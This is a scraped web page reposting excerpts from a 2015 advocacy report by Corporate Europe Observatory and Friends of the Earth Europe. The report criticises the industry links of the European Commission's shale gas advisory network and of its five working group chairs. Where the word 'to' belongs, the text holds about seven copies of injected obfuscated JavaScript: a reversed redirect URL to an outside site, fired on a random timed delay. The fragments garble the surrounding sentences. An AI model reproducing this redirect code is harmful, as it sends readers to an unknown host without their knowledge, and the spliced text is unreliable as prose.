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CORPORATE  EUROPE  OBSERVATORY

Corporate Europe Observatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory is a research and campaign group working toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expose and challenge the privileged access and influence enjoyed by corporations and their lobby groups in EU policy making.

Their website: corporateeurope.org .

FRIENDS  OF  THE  EARTH  EUROPE

Friends of the Earth Europe is the largest grassroots environmental network in Europe, uniting more than 30 national organisations with thousands of local groups.

Their website: foeeurope.org .

Carte blanche for fracking. How the European Commission's new advisory group is letting the shale gas industry set the agenda. 14/04/2015

 

 

Excerpts:

 

 

The European Science and Technology Network on Unconventional Hydrocarbon Extraction is the European Commission’s recently-established advisory group for the evaluation of shale gas development.

The Network is composed of 74 members, 14 of whom work for the European Commission. Of the 60 that do not: — Fewer than 10% of members are from civil society. — More than 70% of members either represent or have financial links toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fracking industry; two-thirds of academics and research organisations involved have links toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fracking industry. — All five working group chairs are fracking proponents, and some have even lobbied against stronger safety rules.

The identity of the five working group chairs of the Network undermines the European Commission’s attempt at a “fair and balanced exchange of ideas”. The five individuals either work for the fracking industry, are from a pro-fracking government, or a fracking industry-friendly body.

This puts the fracking industry firmly in the driving seat, particularly when these five pro-industry individuals have been mandated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “summarize, harmonize and approve” the working groups’ output.

– Eric Vaughan works for Cuadrilla Ressources, an oil and gas company aggressively pushing fracking in the UK.

– Malcolm Rice-Jones works for ConocoPhillips, which has invested billions of dollars intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fracking in the US and is increasingly looking abroad (Canada, Colombia, Poland and China).

– Alwyn Hart is from the UK Environment Agency, which has been crucial in helping the UK government push its pro-fracking agenda by downplaying the associated environmental risks.

– Grzegorz Pienkowski is from the Polish Geological Institute. He is a known proponent of the fracking industry.

– and François Kalaydjian is a regular contributoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor on the website of the industry lobby platform, Shale Gas Europe.